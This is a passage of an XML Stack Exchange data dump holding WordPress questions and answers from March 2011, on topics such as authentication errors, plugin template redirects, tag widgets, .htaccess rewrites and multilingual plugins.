now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases I notice that my credentials are expiring and after a few retries WP throws me back to the login screen (without saving my work), forcing a re-login, and then re-creating my post that did NOT save. This could possibly(?) be separate login timeout issue not related to the 'not authenticating' issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox, Mac, WP3.1 multisite, S2Member plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2011-08-22T14:33:25.267" Title="WordPress, plugin, or browser issue: &quot;Could not authenticate you.&quot;" Tags="&lt;plugins&gt;&lt;login&gt;&lt;publish&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11316" PostTypeId="1" CreationDate="2011-03-06T19:09:08.033" Score="0" ViewCount="137" Body="&lt;p&gt;I've added tag support to my attachment object types by using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_taxonomy() {&#xA;    register_taxonomy_for_object_type('post_tag', 'attachment');&#xA;    add_post_type_support('attachment', 'post_tag');&#xA;}&#xA;add_action('admin_init', 'register_taxonomy');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tags added to attachments show up in my post tags list and I've modified my template so that if I click on any tag, both regular posts and attachments with the selected tag show up in the loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only hiccup is that my Tags widget is only showing tags that have been applied to posts. Tags that were only applied to attachments don't show up in the widget at all. How can I modify the output of the Tags widget so that it shows tags used in both attachments and posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I just wanted to add that for testing purposes I'm using the Twenty Ten default theme and the default Tag Cloud widget included with WordPress. Also, although tags added to attachments do show up in the Post Tags term list, their post count shows zero (but that's a question for another day).&lt;/p&gt;&#xA;" OwnerUserId="3738" LastEditorUserId="3738" LastEditorDisplayName="" LastEditDate="2011-03-16T16:41:19.217" LastActivityDate="2011-03-16T16:41:19.217" Title="How do I add attachment tags to output of Tags widget?" Tags="&lt;widgets&gt;&lt;tags&gt;&lt;attachments&gt;" CommentCount="3" />
  <row Id="11317" PostTypeId="2" ParentId="11315" CreationDate="2011-03-06T19:31:46.260" Score="0" ViewCount="" Body="&lt;p&gt;I cannot find this exact error message in WP core and completely white screen is not usually something it generates (&lt;code&gt;wp_die()&lt;/code&gt; screens do have some styling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you tried searching sources of that plugin (or better - all your WP installation) for that message? Had you tried disabling plugin (and/or all plugins)?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-06T19:31:46.260" CommentCount="1" />
  <row Id="11318" PostTypeId="2" ParentId="11271" CreationDate="2011-03-06T19:43:06.033" Score="1" ViewCount="" Body="&lt;p&gt;Does same thing happen if you use &lt;code&gt;the_post()&lt;/code&gt; without &lt;em&gt;while&lt;/em&gt; loop? Does same thing happen if you don't use custom &lt;code&gt;query_posts()&lt;/code&gt; call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seem awfully like poorly coded filter somewhere in chain, but it's hard to guess location from this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try this code to dump names of filters as they run and try to pinpoint which might cause it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('all','dump_name',10,0);&#xA;&#xA;function dump_name() {&#xA;&#xA;    var_dump(current_filter());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-06T19:43:06.033" />
  <row Id="11319" PostTypeId="2" ParentId="10463" CreationDate="2011-03-06T19:59:19.513" Score="1" ViewCount="" Body="&lt;p&gt;a few basic suggestions : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;w3 total cache plugin for caching..&lt;/li&gt;&#xA;&lt;li&gt;get memcache installed and enabled, also enable from w3 total cache settings (opcode cache is a good option too but it doesn't go well with w3 total cache plugin)&lt;/li&gt;&#xA;&lt;li&gt;minimize queries to direct links in theme files.. &lt;/li&gt;&#xA;&lt;li&gt;Disable all extra unused plugins and remove.&lt;/li&gt;&#xA;&lt;li&gt;optimize Database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;i am running a well known wordpress site with huge traffic daily.. im not on dedicated even, doing great for me :) &lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-06T19:59:19.513" />
  <row Id="11320" PostTypeId="2" ParentId="7846" CreationDate="2011-03-06T20:22:11.677" Score="0" ViewCount="" Body="&lt;p&gt;To summarize (since I just worked through this myself):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem does come from WP's automatic post-processing routines. They recognize a &quot;loose&quot; img as invalid HTML, and automatically wrap it in &quot;p&quot; tags. That's probably usually helpful, but I found that wrapping it in a &quot;p&quot;, as opposed to a generic &quot;div&quot;, it was forcing my images to inherit a lot of my style properties that I only wanted to apply to text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Codex page that explains it: &lt;a href=&quot;http://codex.wordpress.org/How_WordPress_Processes_Post_Content&quot; rel=&quot;nofollow&quot;&gt;How WordPress Processes Post Content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are basically three or four ways to address this, from what I can tell:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can suppress the auto-correction altogether, as @editor described above.&lt;/li&gt;&#xA;&lt;li&gt;If you're handy with plugins, you can edit or override the default substitution of &quot;p&quot; with &quot;div&quot;. I'm not that concerned or ambitious, so I haven't dug into the details, but it doesn't look like it would be &lt;em&gt;too&lt;/em&gt; difficult, if you know what you're doing.&lt;/li&gt;&#xA;&lt;li&gt;You can set up your CSS so that it assumes that at least some of your images will be wrapped in &quot;p&quot; tags.&lt;/li&gt;&#xA;&lt;li&gt;You can manually wrap all your images in redundant &quot;div&quot; or &quot;p&quot; tags.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally, I've opted for the last option -- just putting them into their own little divs.&lt;/p&gt;&#xA;" OwnerUserId="2930" LastActivityDate="2011-03-06T20:22:11.677" />
  <row Id="11321" PostTypeId="1" CreationDate="2011-03-06T22:06:17.967" Score="1" ViewCount="72" Body="&lt;p&gt;All of the Wordpress Podcasting plugins I have seen allow you to easily insert a podcast into a post.  Is there any way to automate the creation of the post (and the podcast feed) by simply uploading the podcast into a specific directory?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I could upload 10 podcasts into the &lt;code&gt;/media/&lt;/code&gt; directory and then it would automatically create a post for each of the 10 files I uploaded.  Ideally it would take the information from the ID3 tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key factor here is not having to do anything in wordpress after the initial setup.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2011-09-01T00:20:33.247" Title="How can I create podcast posts automatically from the contents of a particular directory?" Tags="&lt;podcasting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="11322" PostTypeId="2" ParentId="8575" CreationDate="2011-03-06T23:50:08.453" Score="0" ViewCount="" Body="&lt;p&gt;While my first suggestion would also be to go with hierarchical categories, from how your question is worded it seems closer to URL endpoints. Please note that it is functionality I heard to be messy and unreliable. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API#add_rewrite_endpoint.28.29&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_rewrite_endpoint()&lt;/code&gt;&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-06T23:50:08.453" />
  <row Id="11323" PostTypeId="1" CreationDate="2011-03-06T21:55:30.383" Score="0" ViewCount="103" Body="&lt;p&gt;I've been playing around with different permalink structures in Wordpress, and eventually wanted to go back to the default permalink structure i.e. evreimir.com/wp/?p=post_id, for a number of reasons not important to mention in this question. The permalinks work fine for posts and pages. However when it comes to category permalinks, they appear as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://evreimir.com/wp/?category_name=%category_slug%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a 404 error for categories that have none latin (russian) slugs, but works fine for categories with latin slugs such as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://evreimir.com/wp/?category_name=america&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition when trying to access a category through the default permalink structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://evreimir.com/wp/?cat=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works fine which is strange&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the .htaccess file this is what is in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please tell me how to restore the default permalinks for categories.&#xA;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The urls I gave are real and are of the site in question.&lt;/p&gt;&#xA;" OwnerUserId="6623" LastActivityDate="2011-03-07T00:13:47.323" Title="Can't restore Wordpress default Caterory Permalinks" Tags="&lt;htaccess&gt;&lt;permalinks&gt;" />
  <row Id="11324" PostTypeId="1" CreationDate="2011-03-07T02:03:34.593" Score="0" ViewCount="46" Body="&lt;p&gt;I have a non WordPress website in which I'd like users to submit their email addresses. Is there a website widget that I can use to plug this in quickly?&lt;/p&gt;&#xA;" LastActivityDate="2011-07-05T13:22:15.530" ClosedDate="2011-07-05T15:56:03.510" Title="Widget for accepting email addresses" Tags="&lt;untagged&gt;" AnswerCount="1" />
  <row Id="11325" PostTypeId="2" ParentId="214" CreationDate="2011-03-07T03:19:22.097" Score="2" ViewCount="" Body="&lt;p&gt;There's a patch (http://core.trac.wordpress.org/ticket/10913) for WordPress that should go into 3.2 and help fix this upgrade error for most people running into it. It only seems to happen with servers running Pure-FTPd. In the meantime, there's a plugin that should help fix updates for most people: &lt;a href=&quot;http://wordpress.org/extend/plugins/ftp-upgrade-fix/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ftp-upgrade-fix/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3757" LastActivityDate="2011-03-07T03:19:22.097" />
  <row Id="11326" PostTypeId="2" ParentId="11306" CreationDate="2011-03-07T04:42:08.093" Score="0" ViewCount="" Body="&lt;p&gt;Try disabling &quot;WordPress should correct invalidly nested XHTML automatically&quot; (under Settings -&gt; Writing).&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-07T04:42:08.093" />
  <row Id="11327" PostTypeId="1" CreationDate="2011-03-07T05:17:00.267" Score="0" ViewCount="91" Body="&lt;p&gt;I wanted to use a custom post type to create a &quot;share your story&quot; type of feature. People would fill in the text boxes and &quot;share their story&quot;. This would then be automatically posted on to a stories page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't figure out how to have the data entry page be a decent looking page instead of one of the admin pages, i.e. I want the data input screen to be on the front end instead of the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any examples/tutorials on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="3758" LastActivityDate="2011-05-20T19:57:15.007" Title="How to allow visitors to enter custom post type?" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="11328" PostTypeId="2" ParentId="725" CreationDate="2011-03-07T05:40:58.583" Score="0" ViewCount="" Body="&lt;p&gt;I've used both qTranslate and WPML. They seem to be the 2 best multi-lingual plugins for wordpress. However my opinion is that they are both inadequate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WPML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to be slightly better for advanced users. It works by duplicating all the content tables and linking them together by id. Gross and not ideal, but better than what qTranslate does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;qTranslate&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks really nice at first, but you will have many problems down the line. It works by inserting special html comments into each post like &quot;--- Japanese starts HERE ---&quot; then it parses and replaces the text with proper language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that Wordpress was never designed to be multi-lingual. So no matter what plugin you use, it will always be inadequate and will always be implemented in a non-ideal hacky way. These plugins basically take over Wordpress and try to force it to do something it was never designed to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either solution might be ok for a personal blog, or something with not much data, but I would not recommend them for any site where the data is valuable and/or the site needs to be flexible or frequently changed/updated. Neither of these play nicely with other plugins. If you install either of them you will find that many features of Wordpress and other plugins often become un-useable. Upgrading Wordpress becomes a burden and you must wait until the plugin makers have updated their plugin to be compatible with the new version. If you decide to use either of these, please proceed with caution as you will be putting your website's fate into the hands of a single plugin maker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Multilingual_WordPress&quot; rel=&quot;nofollow&quot;&gt;Wordpress developers themselves acknowledge that there is currently no single optimal solution for this problem.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real solution is to petition the makers of Wordpress to change the product to be a real multi-lingual solution out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, my personal recommendation for a multilingual site would be to use the &quot;&lt;a href=&quot;http://codex.wordpress.org/Multilingual_WordPress&quot; rel=&quot;nofollow&quot;&gt;Each language in its own WordPress installation&lt;/a&gt;&quot; method. Now that Wordpress 3.x supports MU installs out of the box, this is not too hard to setup. Maintenance is slightly more cumbersome, but at least your data will be safe and your site can be stable and updated frequently.&lt;/p&gt;&#xA;" OwnerUserId="3759" LastEditorUserId="3759" LastEditorDisplayName="" LastEditDate="2011-03-07T06:18:40.190" LastActivityDate="2011-03-07T06:18:40.190" />
  <row Id="11329" PostTypeId="2" ParentId="10650" CreationDate="2011-03-07T05:43:36.957" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for the tip - here is how it ended up and it seems to work a treat :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_terms WHERE term_id IN (SELECT term_id FROM wp_term_taxonomy WHERE taxonomy = 'post_tag' AND count &amp;lt;= 5) and term_id not in (SELECT term_id FROM wp_term_taxonomy WHERE taxonomy = 'category')&#xA;DELETE FROM wp_term_relationships WHERE term_taxonomy_id IN (SELECT term_taxonomy_id FROM wp_term_taxonomy WHERE taxonomy = 'post_tag' AND count &amp;lt;= 5) and term_taxonomy_id not in (SELECT term_taxonomy_id FROM wp_term_taxonomy WHERE taxonomy = 'category')&#xA;DELETE FROM wp_term_taxonomy WHERE taxonomy = 'post_tag' AND count &amp;lt;= 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2011-03-07T05:43:36.957" />
  <row Id="11330" PostTypeId="1" CreationDate="2011-03-07T06:28:54.787" Score="0" ViewCount="97" Body="&lt;p&gt;I am having an odd issue where my sidebar is stuck aligned with the first post on my page chronologically instead of appearing at the top of my page ie. I have two posts and the second post(being the most recent) appears at the top yet the sidebar aligns with the first post which is located further down the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have had this issue previously it has meant the sidebar has appeared down the bottom due to invalid markup however I have not come across this issue before. Any help or suggestions would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this issue here &lt;a href=&quot;http://www.iamkel.com&quot; rel=&quot;nofollow&quot;&gt;On My Site&lt;/a&gt; It's still in it's infancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3541" LastEditorUserId="3541" LastEditorDisplayName="" LastEditDate="2011-03-07T06:34:27.043" LastActivityDate="2011-09-04T07:41:57.013" Title="Sidebar Stuck To First Post, Not Top Of Page" Tags="&lt;sidebar&gt;" AnswerCount="3" />
  <row Id="11331" PostTypeId="1" AcceptedAnswerId="11419" CreationDate="2011-03-07T06:47:42.663" Score="0" ViewCount="211" Body="&lt;p&gt;Well I made a plugin that uses &lt;code&gt;template_redirect&lt;/code&gt; for the custom post type &lt;code&gt;squeezepages&lt;/code&gt; and it works all fine and dandy, but I copied the exact same code, put it in a new plugin, activated it (with a few minor adjustments, for example I changed the custom post type to &lt;code&gt;newpages&lt;/code&gt; and the &lt;code&gt;template_redirect&lt;/code&gt; is taking the template from a different source) and suddenly it doesn't work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can have both plugins active at the same time, the squeeze pages work, the new pages don't. It puzzles me so much. I even disabled the squeeze pages plugin and it still doesn't work. I've tried all combinations (there's only a couple) and still nothing. It seems like it's not working for NO reason. I've been staring at the same code for 2 hours and I'm not able to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for my custom post types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'ifp_create_post_type' );&#xA;function ifp_create_post_type() {&#xA;register_post_type( 'newpages',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'New Pages' ),&#xA;            'singular_name' =&amp;gt; __( 'New Page' )&#xA;        ),&#xA;    'public' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'newpage', 'with_front' =&amp;gt; FALSE),&#xA;    'supports' =&amp;gt; array('title', 'editor', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'thumbnail', 'author', 'page-attributes')&#xA;    )&#xA;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my &lt;code&gt;template_redirect&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ifp_default_template() {&#xA;    if(get_post_type() == 'newpages') : global $wp_query, $post, $posts;&#xA;    include(PLUGINDIR . '/newpage/themes/default.php');&#xA;    exit; endif;&#xA;}&#xA;add_action('template_redirect', 'ifp_default_template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-03-07T10:18:39.953" LastActivityDate="2011-03-08T00:54:33.587" Title="template_redirect not working, apparently for no reason" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="11332" PostTypeId="2" ParentId="11016" CreationDate="2011-03-07T07:03:02.710" Score="1" ViewCount="" Body="&lt;p&gt;I found a very simple solution &lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It Exceeds any external Ajax solution, in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-07T07:03:02.710" />
  <row Id="11333" PostTypeId="1" AcceptedAnswerId="11338" CreationDate="2011-03-07T07:54:45.880" Score="0" ViewCount="68" Body="&lt;p&gt;Basically, I need a plugin that let you edit posts and comments the same way you do in StackExchange sites (questions and replies)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because by default Wordpress sends you to the back-end.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-07T08:29:55.490" Title="Is there a plugin that let you edit Posts and Comments in a front-end page?" Tags="&lt;editor&gt;" AnswerCount="1" />
  <row Id="11334" PostTypeId="1" AcceptedAnswerId="11336" CreationDate="2011-03-07T08:04:58.377" Score="2" ViewCount="223" Body="&lt;p&gt;One section of my website is going to be completely different visually than the rest of the pages, is there a way to apply a WP Theme to specific page templates ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-03-08T07:22:33.463" Title="Can I apply a WP theme to a specific custom page template?" Tags="&lt;themes&gt;&lt;template&gt;&lt;page&gt;&lt;customization&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="11335" PostTypeId="1" CreationDate="2011-03-07T08:09:07.823" Score="2" ViewCount="638" Body="&lt;p&gt;I'm working on a project for a friend that involves a massive page with 3,000+ photos. See: &lt;a href=&quot;http://www.thepurplepixie.com/projects/purple-pixies-people-project/&quot; rel=&quot;nofollow&quot;&gt;http://www.thepurplepixie.com/projects/purple-pixies-people-project/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have pagination set to 50 thumbnails per page in order to try and get the &lt;a href=&quot;http://wordpress.org/extend/plugins/infinite-scroll/&quot; rel=&quot;nofollow&quot;&gt;Infinite Scroll (Wordpress Plugin)&lt;/a&gt; (&lt;a href=&quot;http://www.infinite-scroll.com/&quot; rel=&quot;nofollow&quot;&gt;Infinite Scroll Homepage&lt;/a&gt;) to work, and to illustrate how I have the galleries set up in NextGen. Before, I had pagination off so it was one massive wall of photos, which, while accomplishing more or less what I was wanting, ultimately was brutal to load -- both in terms of memory and bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get the plugin version of Infinite Scroll to work, I'm guessing because it's more structured towards post content than big bunches of images. Also, I have multiple instances of the pagination system per page, due to multiple galleries per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone have any idea how I would go about lazy loading these images?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-03-07T17:39:05.310" LastActivityDate="2011-09-04T18:42:14.727" Title="Infinite scroll / lazy loading with NextGen Gallery" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;pagination&gt;&lt;ajax&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11336" PostTypeId="2" ParentId="11334" CreationDate="2011-03-07T08:10:58.867" Score="3" ViewCount="" Body="&lt;p&gt;In fact there is, using &lt;code&gt;template_redirect&lt;/code&gt;, which you would put in the functions.php file - Here's what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uniquename_default_template() {&#xA;    global $wpdb;&#xA;    if(get_post_type() == 'posttype') : /* You could use is_single() instead of get_post_type() == '' or any type of conditional tag) */&#xA;    include(TEMPLATEDIR . 'path/to/theme/file.php'); /* You could use TEMPLATEDIR to get a file from a template folder, or PLUGINDIR to get a file from the plugins directory - doesn't support HTTP requests */&#xA;    exit; endif;&#xA;}&#xA;add_action('template_redirect', 'uniquename_default_template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code checks for a &lt;code&gt;post_type&lt;/code&gt; called &lt;code&gt;posttype&lt;/code&gt;, if it is, it will include the PHP file specified in the include statement by redirecting the template using the &lt;code&gt;template_redirect&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-03-08T07:22:33.463" LastActivityDate="2011-03-08T07:22:33.463" CommentCount="4" />
  <row Id="11337" PostTypeId="1" CreationDate="2011-03-07T08:21:09.227" Score="0" ViewCount="110" Body="&lt;p&gt;I installed WordPress in the root of my web site. Everything went well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, other scripts and files, totally unrelated to WordPress, in other folders, cause WordPress 404 errors. For instance, I copied Docuwiki to a folder called example.com/docuwiki and when I try to run the install.php file from there, I get a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to work around this, other than moving Wordpress to a different directory?&lt;/p&gt;&#xA;" OwnerUserId="3031" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-07T11:14:28.827" LastActivityDate="2011-04-06T11:39:36.320" Title="Scripts external to WordPress cause 404 errors" Tags="&lt;server&gt;&lt;404-error&gt;&lt;configuration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11338" PostTypeId="2" ParentId="11333" CreationDate="2011-03-07T08:29:55.490" Score="3" ViewCount="" Body="&lt;p&gt;Yes, try the &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot; title=&quot;FrontEnd&quot;&gt;Front-end Editor&lt;/a&gt; by Scribu!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-07T08:29:55.490" CommentCount="7" />
  <row Id="11339" PostTypeId="2" ParentId="11331" CreationDate="2011-03-07T09:25:41.120" Score="1" ViewCount="" Body="&lt;p&gt;Not much code here... Let's break it down into things that can go wrong:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify that &lt;code&gt;ifp_default_template()&lt;/code&gt;is firing (for example earlier redirect could include &#xA;another template and dies, never reaching it).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify that &lt;code&gt;get_post_type()&lt;/code&gt; returns expected value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify that include path is being generated correctly (I'd use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt;, it's more robust than building path from strings).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-07T09:25:41.120" CommentCount="4" />
  <row Id="11340" PostTypeId="2" ParentId="11337" CreationDate="2011-03-07T09:42:23.947" Score="1" ViewCount="" Body="&lt;p&gt;My money would be on the .htaccess of your root directory is trying to route the /docuwiki request through Wordpress, which is why it is failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your .htaccess file should look something like &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-03-07T09:42:23.947" />
  <row Id="11341" PostTypeId="2" ParentId="11330" CreationDate="2011-03-07T09:48:59.680" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;footer&lt;/code&gt; tag is not getting cleared properly for some reason (add something to it - it goes to where sidebar should be). Not sure why, hadn't used HTML5 markup yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I must note that this is not really question specific to WordPress and you might get better answers on one of other StackExchange sites.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-07T09:48:59.680" CommentCount="2" />
  <row Id="11342" PostTypeId="2" ParentId="11327" CreationDate="2011-03-07T09:53:01.563" Score="1" ViewCount="" Body="&lt;p&gt;Yes it's possible to give your visitors or members the ability to post a story/post from the front-end,  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at those answers here:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5979/fron-end-post-submission/6043#6043&quot;&gt;Fron-End Post Submission&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields/8600#8600&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-07T09:53:01.563" />
  <row Id="11343" PostTypeId="1" CreationDate="2011-03-07T10:20:14.257" Score="1" ViewCount="142" Body="&lt;p&gt;I would like to know if creating a Wordpress theme from scratch is good?&#xA;because I know the template tags in wordpress and other tags ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but Will I get any future problems in here when it comes to updating to another version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im curious because I rather create one from scratch rather than  creating a child theme because I cant modify the single/index/page.php files  to create a modified custom loop.&lt;/p&gt;&#xA;" OwnerUserId="3764" LastActivityDate="2011-03-17T19:40:53.557" Title="Is it ok to not a have child theme and just create a theme from scratch?" Tags="&lt;3.0&gt;&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="11344" PostTypeId="1" AcceptedAnswerId="11360" CreationDate="2011-03-07T10:24:52.583" Score="1" ViewCount="73" Body="&lt;p&gt;I need the following: two different 1-5 star rating fields, for one of my custom content types. The ratigs will be stablished by the admin, so I dont need a real voting system. The fields are more like indicators than polls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried gd-star ratings but its aimed at community voting and rating systems which is not at all what I want. I know this would be uite easy to code, but if there is a plugin for this I would like to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you guys!&lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2011-03-07T12:53:19.850" Title="I need to have two 1-5 star rating fields, only editable by admins. Which plugin should I use?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;rating&gt;" AnswerCount="1" />
